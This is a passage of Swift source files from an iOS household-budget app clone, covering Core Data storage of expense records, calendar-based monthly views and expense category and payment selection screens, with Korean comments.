if !yearMonth.isEmpty {
fetchRequest.predicate = NSPredicate(format: "yearMonth == %@", yearMonth)
} else {
print("Error! fetch string is empty.")
return expenseInfoList
}
do {
// 읽어온 결과 집합을 순회하면서 [ExpenseInfoModel] 타입으로 변환한다.
let resultset: [ExpenseInfo] = try self.context.fetch(fetchRequest)
for record in resultset {
// ExpenseInfoModel 객체를 생성한다.
let model: ExpenseInfoModel = ExpenseInfoModel()
model.category = record.category
model.createAt = record.createAt
model.date = record.date
model.info = record.info
model.objectID = record.objectID
model.payment = record.payment
model.price = record.price
model.repeatCycle = record.repeatCycle
model.yearMonth = record.yearMonth
// 이미지가 있을 때만 복사
if let image = record.photo as Data? {
model.photo = UIImage(data: image)
}
expenseInfoList.append(model)
}
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
}
return expenseInfoList
}
func fetchAtCertainDate(date: Date) -> [ExpenseInfoModel] {
var expenseInfoList: [ExpenseInfoModel] = []
let fetchRequest: NSFetchRequest<ExpenseInfo> = ExpenseInfo.fetchRequest() // 요청 객체 생성. fetchRequest 메서드는 NSManagedObject와 ExpenseInfo 클래스에서 각각 정의되있고 이들은 오버라이드 관계가 아니어서 서로 다른 타입을 반환하게 된다. 따라서 타입 어노테이션을 누락하면 컴파일 에러가 발생
let regdateDesc: NSSortDescriptor = NSSortDescriptor(key: "createAt", ascending: false) // 최신 내역 순으로 정렬하도록 정렬 객체 생성
fetchRequest.sortDescriptors = [regdateDesc]
fetchRequest.predicate = NSPredicate(format: "date == %@", date as CVarArg)
do {
// 읽어온 결과 집합을 순회하면서 [ExpenseInfoModel] 타입으로 변환한다.
let resultset: [ExpenseInfo] = try self.context.fetch(fetchRequest)
for record in resultset {
// ExpenseInfoModel 객체를 생성한다.
let model: ExpenseInfoModel = ExpenseInfoModel()
model.category = record.category
model.createAt = record.createAt
model.date = record.date
model.info = record.info
model.objectID = record.objectID
model.payment = record.payment
model.price = record.price
model.repeatCycle = record.repeatCycle
model.yearMonth = record.yearMonth
// 이미지가 있을 때만 복사
if let image = record.photo as Data? {
model.photo = UIImage(data: image)
}
expenseInfoList.append(model)
}
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
}
return expenseInfoList
}
func saveHistory(_ data: ExpenseInfoModel) {
let object: ExpenseInfo = NSEntityDescription.insertNewObject(forEntityName: "ExpenseInfo", into: self.context) as! ExpenseInfo // 관리 객체 인스턴스 생성
// ExpenseInfoModel로 부터 값을 복사한다.
object.category = data.category
object.createAt = Date()
object.date = data.date
object.info = data.info
object.memo = data.memo ?? ""
object.payment = data.payment
object.price = data.price ?? 0
object.yearMonth = data.yearMonth ?? "0"
object.repeatCycle = data.repeatCycle ?? ""
if let image = data.photo {
object.photo = image.pngData()!
}
// 영구저장소에 변경사항을 반영한다.
do {
try self.context.save()
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
}
}
func delete(_ objectID: NSManagedObjectID) -> Bool {
// 삭제할 객체를 찾아, 컨텍스트에서 삭제한다.
let object: NSManagedObject = self.context.object(with: objectID)
self.context.delete(object)
do {
// 삭제한 내역을 영구저장소에 반환한다.
try self.context.save()
return true
} catch let error as NSError {
NSLog("An error has occured : %s", error.localizedDescription)
return false
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/AddHistory/ViewController/SelectExpenseCategoryViewController+UICollectionView.swift
//
// SelectExpenseCategoryViewController+UICollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import Foundation
import UIKit
extension SelectExpenseCategoryViewController: UICollectionViewDataSource, UICollectionViewDelegate {
func numberOfSections(in collectionView: UICollectionView) -> Int {
return 1
}
func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
return ExpenseCategory.category.count
}
func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: ExpenseCategoryCollectionViewCell.identifier, for: indexPath) as? ExpenseCategoryCollectionViewCell else {
return UICollectionViewCell()
}
cell.category = ExpenseCategory.category[indexPath.row]
return cell
}
func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
if let cell = collectionView.cellForItem(at: indexPath) as? ExpenseCategoryCollectionViewCell {
let category: String = cell.category
if let selectExpensePaymentVC = self.storyboard?.instantiateViewController(identifier: "SelectExpensePaymentViewController") as? SelectExpensePaymentViewController {
let transition: CATransition = CATransition()
transition.type = CATransitionType.push
transition.duration = 0.3
transition.subtype = CATransitionSubtype.fromRight
transition.timingFunction = CAMediaTimingFunction(name:CAMediaTimingFunctionName.easeInEaseOut)
view.window!.layer.add(transition, forKey: kCATransition)
dataModel?.category = category
dataModel?.info = InfoTextFiled.text ?? ""
selectExpensePaymentVC.modalPresentationStyle = .fullScreen
selectExpensePaymentVC.dataModel = dataModel
self.present(selectExpensePaymentVC, animated: false, completion: nil)
}
}
}
}
extension SelectExpenseCategoryViewController: UICollectionViewDelegateFlowLayout {
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize {
// 셀의 사이즈 정의
return CGSize(width: 60, height: 60)
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumLineSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 세로간격 조정
return 15
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumInteritemSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 가로간격 조정
return 5
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/DailyHistoryInfoTableViewCell.swift
//
// MonthCalendarTableViewCell.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import UIKit
import Foundation
final class DailyHistoryInfoTableViewCell: UITableViewCell {
static let identifier: String = "DailyHistoryInfoTableViewCell"
static let height: CGFloat = 40
lazy var categoryLabel: UILabel = {
let categoryLabel: UILabel = UILabel(frame: .zero)
categoryLabel.translatesAutoresizingMaskIntoConstraints = false
categoryLabel.backgroundColor = .clear
categoryLabel.textAlignment = .center
categoryLabel.textColor = .lightGray
categoryLabel.font = UIFont.systemFont(ofSize: 16)
return categoryLabel
}()
lazy var priceLabel: UILabel = {
let priceLabel: UILabel = UILabel(frame: .zero)
priceLabel.translatesAutoresizingMaskIntoConstraints = false
priceLabel.backgroundColor = .clear
priceLabel.textAlignment = .right
priceLabel.textColor = .systemGreen
priceLabel.font = UIFont.systemFont(ofSize: 20)
return priceLabel
}()
var expenseInfo: ExpenseInfoModel? {
didSet {
categoryLabel.text = expenseInfo?.category ?? "카테고리오류"
priceLabel.text = String(expenseInfo?.price ?? 0) + "원"
priceLabel.textColor = UIColor(rgb: 0xE6787B)
}
}
var incomeInfo: IncomeInfoModel? {
didSet {
categoryLabel.text = incomeInfo?.category ?? "카테고리오류"
priceLabel.text = String(incomeInfo?.price ?? 0) + "원"
priceLabel.textColor = UIColor(rgb: 0x47A645)
}
}
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
makeUI()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func makeUI() {
self.contentView.addSubview(categoryLabel)
self.contentView.addSubview(priceLabel)
categoryLabel.leftAnchor.constraint(equalTo: self.contentView.leftAnchor, constant: 20).isActive = true
categoryLabel.topAnchor.constraint(equalTo: self.contentView.topAnchor).isActive = true
categoryLabel.heightAnchor.constraint(equalTo: self.contentView.heightAnchor).isActive = true
priceLabel.rightAnchor.constraint(equalTo: self.contentView.rightAnchor, constant: -20).isActive = true
priceLabel.topAnchor.constraint(equalTo: self.contentView.topAnchor).isActive = true
priceLabel.heightAnchor.constraint(equalTo: self.contentView.heightAnchor).isActive = true
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthlyView(Main)/ViewController/MonthViewController.swift
//
// MonthViewController.swift
// WepleMoneyClone
//
// Created by kakao on 2020/12/09.
//
import UIKit
import Foundation
final class MonthViewController: UIViewController {
// MARK: - UIComponents
lazy var income: UILabel = {
let income: UILabel = UILabel()
income.text = "수입"
income.font = UIFont.systemFont(ofSize: UIFont.systemFontSize)
income.textColor = .black
income.translatesAutoresizingMaskIntoConstraints = false
return income
}()
lazy var incomeMoney: UILabel = {
let incomeMoney: UILabel = UILabel()
incomeMoney.text = "0원"
incomeMoney.font = UIFont.systemFont(ofSize: 23)
incomeMoney.textColor = .systemGreen
incomeMoney.textAlignment = .right
incomeMoney.translatesAutoresizingMaskIntoConstraints = false
return incomeMoney
}()
lazy var balance: UILabel = {
let balance: UILabel = UILabel()
balance.text = "현금 잔액"
balance.font = UIFont.systemFont(ofSize: UIFont.systemFontSize)
balance.textColor = .black
balance.translatesAutoresizingMaskIntoConstraints = false
return balance
}()
lazy var balanceMoney: UILabel = {
let balanceMoney: UILabel = UILabel()
balanceMoney.text = "0원"
balanceMoney.font = UIFont.systemFont(ofSize: 23)
balanceMoney.textColor = .gray
balanceMoney.textAlignment = .right
balanceMoney.translatesAutoresizingMaskIntoConstraints = false
return balanceMoney
}()
lazy var expense: UILabel = {
let expense: UILabel = UILabel()
expense.text = "지출"
expense.font = UIFont.systemFont(ofSize: UIFont.systemFontSize)
expense.textColor = .black
expense.translatesAutoresizingMaskIntoConstraints = false
return expense
}()
lazy var expenseMoney: UILabel = {
let expenseMoney: UILabel = UILabel()
expenseMoney.text = "0원"
expenseMoney.font = UIFont.systemFont(ofSize: 23)
expenseMoney.textColor = .systemPink
expenseMoney.textAlignment = .right
expenseMoney.translatesAutoresizingMaskIntoConstraints = false
return expenseMoney
}()
lazy var cash: UILabel = {
let cash: UILabel = UILabel()
cash.text = "현금"
cash.font = UIFont.systemFont(ofSize: UIFont.systemFontSize - 3)
cash.textColor = .lightGray
cash.translatesAutoresizingMaskIntoConstraints = false
return cash
}()
lazy var cashMoney: UILabel = {
let cashMoney: UILabel = UILabel()
cashMoney.text = "0"
cashMoney.font = UIFont.systemFont(ofSize: UIFont.systemFontSize - 1)
cashMoney.textColor = .lightGray
cashMoney.textAlignment = .right
cashMoney.translatesAutoresizingMaskIntoConstraints = false
return cashMoney
}()
lazy var card: UILabel = {
let card: UILabel = UILabel()
card.text = "카드"
card.font = UIFont.systemFont(ofSize: UIFont.systemFontSize - 3)
card.textColor = .lightGray
card.translatesAutoresizingMaskIntoConstraints = false
return card
}()
lazy var cardMoney: UILabel = {
let cardMoney: UILabel = UILabel()
cardMoney.text = "0"
cardMoney.font = UIFont.systemFont(ofSize: UIFont.systemFontSize - 1)
cardMoney.textColor = .lightGray
cardMoney.textAlignment = .right
cardMoney.translatesAutoresizingMaskIntoConstraints = false
return cardMoney
}()
lazy var mergeImage: UIImageView = {
let mergeImage: UIImageView = UIImageView(image: UIImage(named: "image1"))
mergeImage.translatesAutoresizingMaskIntoConstraints = false
return mergeImage
}()
lazy var dayCollecionView: DayCollectionView = {
let dayCollecionView: DayCollectionView = DayCollectionView(frame: .zero, collectionViewLayout: UICollectionViewFlowLayout())
// collectionViewLayout에 UICollectionViewLayout() 넣으면 cellForItemAt, UICollectionViewDelegateFlowLayout 동작 안함...
dayCollecionView.backgroundColor = .clear
dayCollecionView.translatesAutoresizingMaskIntoConstraints = false
dayCollecionView.isScrollEnabled = false
return dayCollecionView
}()
lazy var seperlatorLine: UIView = {
let seperlatorLine: UIView = UIView(frame: .zero)
seperlatorLine.translatesAutoresizingMaskIntoConstraints = false
seperlatorLine.backgroundColor = .lightGray
return seperlatorLine
}()
lazy var seperlatorLine2: UIView = {
let seperlatorLine: UIView = UIView(frame: .zero)
seperlatorLine.translatesAutoresizingMaskIntoConstraints = false
seperlatorLine.backgroundColor = UIColor(rgb: 0x3F3F3F)
return seperlatorLine
}()
lazy var tableView: DailyHistoryInfoTableView = {
let tableView: DailyHistoryInfoTableView = DailyHistoryInfoTableView(frame: .zero, style: .plain)
tableView.backgroundColor = .clear
tableView.translatesAutoresizingMaskIntoConstraints = false
tableView.separatorInset.left = 0 // 기본적으로 들어가있는 테이블뷰셀의 왼쪽 여백 없애기
tableView.tableFooterView = UIView(frame: .zero) // 빈 셀 안 보이게 처리
return tableView
}()
lazy var plusButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setImage(UIImage(named: "plusButton"), for: .normal)
button.addTarget(self, action: #selector(plusButtonDidTap), for: .touchUpInside)
button.layer.shadowRadius = 10
button.layer.shadowColor = UIColor.black.cgColor
button.layer.shadowOffset = CGSize(width: 2, height: 0)
button.layer.shadowOpacity = 0.2
return button
}()
// MARK: - Components for paging
lazy var calendarRootView: UIView = {
let calendarRootView: UIView = UIView(frame: .zero)
calendarRootView.backgroundColor = .clear
calendarRootView.translatesAutoresizingMaskIntoConstraints = false
return calendarRootView
}()
lazy var calendarPageViewController: UIPageViewController = {
let pageViewController: UIPageViewController = UIPageViewController(transitionStyle: .scroll, navigationOrientation: UIPageViewController.NavigationOrientation.horizontal, options: nil)
pageViewController.delegate = self
pageViewController.dataSource = self
pageViewController.view.backgroundColor = .clear
calendarRootView.addSubview(pageViewController.view)
pageViewController.didMove(toParent: self)
pageViewController.view.translatesAutoresizingMaskIntoConstraints = false
pageViewController.view.topAnchor.constraint(equalTo: calendarRootView.topAnchor).isActive = true
pageViewController.view.leftAnchor.constraint(equalTo: calendarRootView.leftAnchor).isActive = true
pageViewController.view.rightAnchor.constraint(equalTo: calendarRootView.rightAnchor).isActive = true
pageViewController.view.bottomAnchor.constraint(equalTo: calendarRootView.bottomAnchor).isActive = true
return pageViewController
}()
lazy var monthCalendarViewControllers: [MonthCalendarViewController] = {
var viewControllers: [MonthCalendarViewController] = []
for index in 0...2 {
let vc: MonthCalendarViewController = MonthCalendarViewController()
vc.view.tag = index
viewControllers.append(vc)
}
return viewControllers
}()
// MARK: - Properties
private let today: Date = Date()
private var todayYear: Int!
private var todayMonth: Int!
private var todayDay: Int!
var currentYear: Int!
var currentMonth: Int!
var expenseDAO: ExpenseDAO = ExpenseDAO()
var incomeDAO: IncomeDAO = IncomeDAO()
var calendarRootViewHeightConstraint: NSLayoutConstraint! // calendarRootView의 높이조정을 위해 선언
// MARK: - LifeCycle
override func viewDidLoad() {
super.viewDidLoad()
todayDay = Calendar.current.component(.day, from: today)
todayMonth = Calendar.current.component(.month, from: today)
todayYear = Calendar.current.component(.year, from: today)
currentYear = todayYear
currentMonth = todayMonth
self.dayCollecionView.delegate = self
self.dayCollecionView.dataSource = self
self.dayCollecionView.register(DayCollectionViewCell.self, forCellWithReuseIdentifier: DayCollectionViewCell.identifier)
self.tableView.delegate = self
self.tableView.dataSource = self
self.tableView.register(DailyHistoryInfoTableViewCell.self, forCellReuseIdentifier: DailyHistoryInfoTableViewCell.identifier)
self.tableView.register(DailyHistoryInfoTableViewEmptyCell.self, forCellReuseIdentifier: DailyHistoryInfoTableViewEmptyCell.identifier)
guard let monthCalendarVC = monthCalendarViewControllers.first else {
return
}
monthCalendarVC.currentYear = todayYear
monthCalendarVC.currentMonth = todayMonth
monthCalendarVC.currentDay = todayDay
monthCalendarVC.expenseInfoList = expenseDAO.fetch(yearMonth: "\(String(describing: todayYear!))\(String(format: "%02d", todayMonth))")
monthCalendarVC.incomeInfoList = incomeDAO.fetch(yearMonth: "\(String(describing: todayYear!))\(String(format: "%02d", todayMonth))")
monthCalendarVC.showDailyHistoryInfo = { [weak self] expenseInfoModel, incomeInfoModel in
// 캘린더뷰의 날짜를 터치했을때 실행되는 클로저. 테이블뷰를 갱신한다.
guard let strongSelf = self else { return }
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
monthCalendarVC.reloadDailyHistoryInfoIfNeeded = { [weak self] expenseInfoModel, incomeInfoModel in
// 입금/지출내역을 등록한 뒤 실행되는 클로저. 테이블뷰를 갱신한다.
guard let strongSelf = self else { return }
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
monthCalendarVC.showMonthlyIncomeExpenseMoney = { [weak self] totalExpense, totalCashExpense, totalCardExpense, totalIncome in
// 월간 입금/지출금액, 현금잔액 표시
guard let strongSelf = self else { return }
strongSelf.expenseMoney.text = String(totalExpense) + "원"
strongSelf.cashMoney.text = String(totalCashExpense) + "원"
strongSelf.cardMoney.text = String(totalCardExpense) + "원"
strongSelf.incomeMoney.text = String(totalIncome) + "원"
strongSelf.balanceMoney.text = String(totalIncome - totalExpense) + "원"
}
monthCalendarVC.goPreviousPage = { [weak self] targetYear, targetMonth in
guard let strongSelf = self else { return }
let expenseInfoModel: [ExpenseInfoModel] = strongSelf.expenseDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
let incomeInfoModel: [IncomeInfoModel] = strongSelf.incomeDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
strongSelf.goToPreviousPage()
strongSelf.setNavigation(currentYear: targetYear, currentMonth: targetMonth)
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
monthCalendarVC.goNextPage = { [weak self] targetYear, targetMonth in
guard let strongSelf = self else { return }
let expenseInfoModel: [ExpenseInfoModel] = strongSelf.expenseDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
let incomeInfoModel: [IncomeInfoModel] = strongSelf.incomeDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
strongSelf.goToNextPage()
strongSelf.setNavigation(currentYear: targetYear, currentMonth: targetMonth)
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
calendarPageViewController.setViewControllers([monthCalendarVC], direction: .forward, animated: false, completion: nil)
makeUI()
}
override func viewWillAppear(_ animated: Bool) {
setNavigation(currentYear: currentYear, currentMonth: currentMonth)
self.view.backgroundColor = .systemBackground
}
// MARK: - fuction
private func makeUI() {
self.view.addSubview(income)
self.view.addSubview(balance)
self.view.addSubview(incomeMoney)
self.view.addSubview(balanceMoney)
self.view.addSubview(expense)
self.view.addSubview(expenseMoney)
self.view.addSubview(cash)
self.view.addSubview(cashMoney)
self.view.addSubview(card)
self.view.addSubview(cardMoney)
self.view.addSubview(mergeImage)
self.view.addSubview(dayCollecionView)
self.view.addSubview(seperlatorLine)
self.view.addSubview(calendarRootView)
self.view.addSubview(seperlatorLine2)
self.view.addSubview(tableView)
self.view.addSubview(plusButton)
income.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 15).isActive = true
income.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor, constant: 10).isActive = true
income.widthAnchor.constraint(equalToConstant: 70).isActive = true
incomeMoney.topAnchor.constraint(equalTo: self.income.topAnchor, constant: -7).isActive = true
incomeMoney.leftAnchor.constraint(equalTo: self.income.rightAnchor, constant: 5).isActive = true
incomeMoney.widthAnchor.constraint(equalToConstant: 115).isActive = true
balance.topAnchor.constraint(equalTo: self.income.bottomAnchor, constant: 20).isActive = true
balance.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor, constant: 10).isActive = true
balance.widthAnchor.constraint(equalToConstant: 70).isActive = true
balanceMoney.topAnchor.constraint(equalTo: self.balance.topAnchor, constant: -7).isActive = true
balanceMoney.leftAnchor.constraint(equalTo: self.balance.rightAnchor, constant: 5).isActive = true
balanceMoney.widthAnchor.constraint(equalToConstant: 115).isActive = true
expense.topAnchor.constraint(equalTo: self.income.topAnchor).isActive = true
expense.leftAnchor.constraint(equalTo: self.incomeMoney.rightAnchor, constant: 15).isActive = true
expense.widthAnchor.constraint(equalToConstant: 60).isActive = true
expenseMoney.topAnchor.constraint(equalTo: self.incomeMoney.topAnchor).isActive = true
expenseMoney.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor, constant: -15).isActive = true
expenseMoney.widthAnchor.constraint(equalToConstant: 115).isActive = true
cash.topAnchor.constraint(equalTo: self.expense.bottomAnchor, constant: 7).isActive = true
cash.leftAnchor.constraint(equalTo: self.expense.leftAnchor, constant: 25).isActive = true
cash.widthAnchor.constraint(equalToConstant: 50).isActive = true
cashMoney.topAnchor.constraint(equalTo: self.cash.topAnchor, constant: -1).isActive = true
cashMoney.rightAnchor.constraint(equalTo: self.expenseMoney.rightAnchor).isActive = true
cashMoney.widthAnchor.constraint(equalToConstant: 70).isActive = true
card.topAnchor.constraint(equalTo: self.cash.bottomAnchor, constant: 4).isActive = true
card.leftAnchor.constraint(equalTo: self.cash.leftAnchor).isActive = true
card.widthAnchor.constraint(equalToConstant: 50).isActive = true
cardMoney.topAnchor.constraint(equalTo: self.card.topAnchor, constant: -1).isActive = true
cardMoney.rightAnchor.constraint(equalTo: self.expenseMoney.rightAnchor).isActive = true
cardMoney.widthAnchor.constraint(equalToConstant: 70).isActive = true
mergeImage.topAnchor.constraint(equalTo: self.cash.centerYAnchor, constant: -2).isActive = true
mergeImage.rightAnchor.constraint(equalTo: self.cash.leftAnchor, constant: -3).isActive = true
mergeImage.heightAnchor.constraint(equalToConstant: 25).isActive = true
dayCollecionView.topAnchor.constraint(equalTo: self.balanceMoney.bottomAnchor, constant: 9).isActive = true
dayCollecionView.leftAnchor.constraint(equalTo: self.income.leftAnchor).isActive = true
dayCollecionView.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor, constant: -10).isActive = true
dayCollecionView.heightAnchor.constraint(equalToConstant: DayCollectionViewCell.height).isActive = true
seperlatorLine.topAnchor.constraint(equalTo: self.dayCollecionView.bottomAnchor, constant: 2).isActive = true
seperlatorLine.leftAnchor.constraint(equalTo: dayCollecionView.leftAnchor).isActive = true
seperlatorLine.rightAnchor.constraint(equalTo: dayCollecionView.rightAnchor).isActive = true
seperlatorLine.heightAnchor.constraint(equalToConstant: 0.3).isActive = true
calendarRootView.topAnchor.constraint(equalTo: self.seperlatorLine.bottomAnchor, constant: 3).isActive = true
calendarRootView.leftAnchor.constraint(equalTo: seperlatorLine.leftAnchor).isActive = true
calendarRootView.rightAnchor.constraint(equalTo: seperlatorLine.rightAnchor).isActive = true
if let currentCalendarVC = calendarPageViewController.viewControllers?.first as? MonthCalendarViewController {
let calendarView: MonthCalendarCollectionView = currentCalendarVC.calendarView
calendarRootViewHeightConstraint = calendarRootView.heightAnchor.constraint(equalToConstant: MonthCalendarCollectionViewCell.height * CGFloat(calendarView.numOfRow))
calendarRootViewHeightConstraint.isActive = true
} else {
calendarRootView.heightAnchor.constraint(equalToConstant: 300).isActive = true
calendarRootView.backgroundColor = .red // error
}
seperlatorLine2.topAnchor.constraint(equalTo: self.calendarRootView.bottomAnchor, constant: 7).isActive = true
seperlatorLine2.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor).isActive = true
seperlatorLine2.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor).isActive = true
seperlatorLine2.heightAnchor.constraint(equalToConstant: 0.3).isActive = true
tableView.topAnchor.constraint(equalTo: self.seperlatorLine2.bottomAnchor).isActive = true
tableView.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor).isActive = true
tableView.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor).isActive = true
tableView.bottomAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.bottomAnchor).isActive = true
plusButton.bottomAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.bottomAnchor, constant: -20).isActive = true
plusButton.rightAnchor.constraint(equalTo: self.expenseMoney.rightAnchor).isActive = true
}
func setNavigation(currentYear: Int, currentMonth: Int) {
let textAttributes = [NSAttributedString.Key.foregroundColor : UIColor.white]
setNavigationTitle(currentYear: currentYear, currentMonth: currentMonth)
self.navigationController?.navigationBar.barTintColor = UIColor(rgb: 0x79BDB3)
self.navigationController?.navigationBar.isTranslucent = false
self.navigationController?.navigationBar.titleTextAttributes = textAttributes
let leftBtn: UIButton = UIButton(frame: CGRect(x: 0, y: 0, width: 30, height: 30))
let rightBtn1: UIButton = UIButton(frame: CGRect(x: 0, y: 0, width: 30, height: 30))
let rightBtn2: UIButton = UIButton(frame: CGRect(x: 0, y: 0, width: 30, height: 30))
leftBtn.setImage(UIImage(named: "statisticsIcon")?.withTintColor(.white), for: .normal)
leftBtn.backgroundColor = .clear
rightBtn1.setImage(UIImage(named: "filterIcon")?.withTintColor(.white), for: .normal)
rightBtn1.backgroundColor = .clear
rightBtn2.setImage(UIImage(named: "searchIcon")?.withTintColor(.white), for: .normal)
rightBtn2.backgroundColor = .clear
let leftBarButtonItem: UIBarButtonItem = UIBarButtonItem(customView: leftBtn)
let rightBarButtonItem1: UIBarButtonItem = UIBarButtonItem(customView: rightBtn1)
let rightBarButtonItem2: UIBarButtonItem = UIBarButtonItem(customView: rightBtn2)
leftBarButtonItem.target = self
leftBarButtonItem.action = nil
rightBarButtonItem1.target = self
rightBarButtonItem1.action = nil
rightBarButtonItem2.target = self
rightBarButtonItem2.action = nil
self.navigationItem.leftBarButtonItem = leftBarButtonItem
self.navigationItem.rightBarButtonItems = [rightBarButtonItem1, rightBarButtonItem2]
}
func setNavigationTitle(currentYear: Int, currentMonth: Int) {
if let todayYear = todayYear {
if todayYear == currentYear {
self.navigationItem.title = "\(currentMonth)월"
} else {
self.navigationItem.title = "\(currentYear)년 \(currentMonth)월"
}
}
}
@objc private func plusButtonDidTap() {
if let addVC = self.storyboard?.instantiateViewController(identifier: "AddDealHistoryViewController") as? AddDealHistoryViewController {
addVC.modalTransitionStyle = .coverVertical
addVC.modalPresentationStyle = .fullScreen
let selectedDate: Date = SingleTon.shared.selectedDate ?? Date()
let year: Int = Calendar.current.component(.year, from: selectedDate)
let month: Int = Calendar.current.component(.month, from: selectedDate)
let dataModel: InfoModel = InfoModel()
dataModel.date = selectedDate
dataModel.yearMonth = "\(year)\(String(format: "%02d", month))"
addVC.dataModel = dataModel
self.present(addVC, animated: true, completion: nil)
}
}
func beforeYearMonth(currentYear: Int, currentMonth: Int) -> (Int, Int) {
return currentMonth == 1 ? (currentYear - 1 , 12) : (currentYear, currentMonth - 1)
}
func afterYearMonth(currentYear: Int, currentMonth: Int) -> (Int, Int) {
return currentMonth == 12 ? (currentYear + 1, 1) : (currentYear, currentMonth + 1)
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthlyView(Main)/ViewController/MonthViewController+UICollectionView.swift
//
// MonthViewController+UICollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/04.
//
import UIKit
extension MonthViewController: UICollectionViewDataSource {
func numberOfSections(in collectionView: UICollectionView) -> Int {
return 1
}
func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
return DayCollectionView.dayCount
}
func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
if let collectionView = collectionView as? DayCollectionView {
guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: DayCollectionViewCell.identifier, for: indexPath) as? DayCollectionViewCell else {
return UICollectionViewCell()
}
cell.day = DayCollectionView.daySringArr[indexPath.row]
return cell
}
return UICollectionViewCell()
}
}
extension MonthViewController: UICollectionViewDelegate {
}
extension MonthViewController: UICollectionViewDelegateFlowLayout {
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize {
// 셀의 사이즈 정의
return CGSize(width: collectionView.frame.width / 7, height: collectionView.frame.height)
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumLineSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 세로간격 조정
return 0
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumInteritemSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 가로간격 조정
return 0
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/AddHistory/ViewController/SelectExpensePaymentViewController.swift
//
// SelectExpensePaymentViewController.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import UIKit
final class SelectExpensePaymentViewController: UIViewController {
lazy var backButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setImage(UIImage(named: "backButton"), for: .normal)
button.setImage(UIImage(named: "backButton"), for: .highlighted)
button.addTarget(self, action: #selector(backButtonDidTap), for: .touchUpInside)
return button
}()
lazy var closeButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setImage(UIImage(named: "closeButton"), for: .normal)
button.addTarget(self, action: #selector(closeButtonDidTap), for: .touchUpInside)
return button
}()
lazy var cashLabel: UILabel = {
let cashLabel: UILabel = UILabel(frame: .zero)
cashLabel.translatesAutoresizingMaskIntoConstraints = false
cashLabel.layer.cornerRadius = 22.5
cashLabel.layer.borderColor = .none
cashLabel.layer.backgroundColor = UIColor.systemPink.cgColor
cashLabel.font = UIFont.systemFont(ofSize: 19)
cashLabel.textColor = .white
cashLabel.textAlignment = .center
cashLabel.text = "현금"
cashLabel.isUserInteractionEnabled = true // tap gesture을 사용하기 위함
return cashLabel
}()
lazy var checkCardLabel: UILabel = {
let checkCardLabel: UILabel = UILabel(frame: .zero)
checkCardLabel.translatesAutoresizingMaskIntoConstraints = false
checkCardLabel.layer.cornerRadius = 22.5
checkCardLabel.layer.borderColor = .none
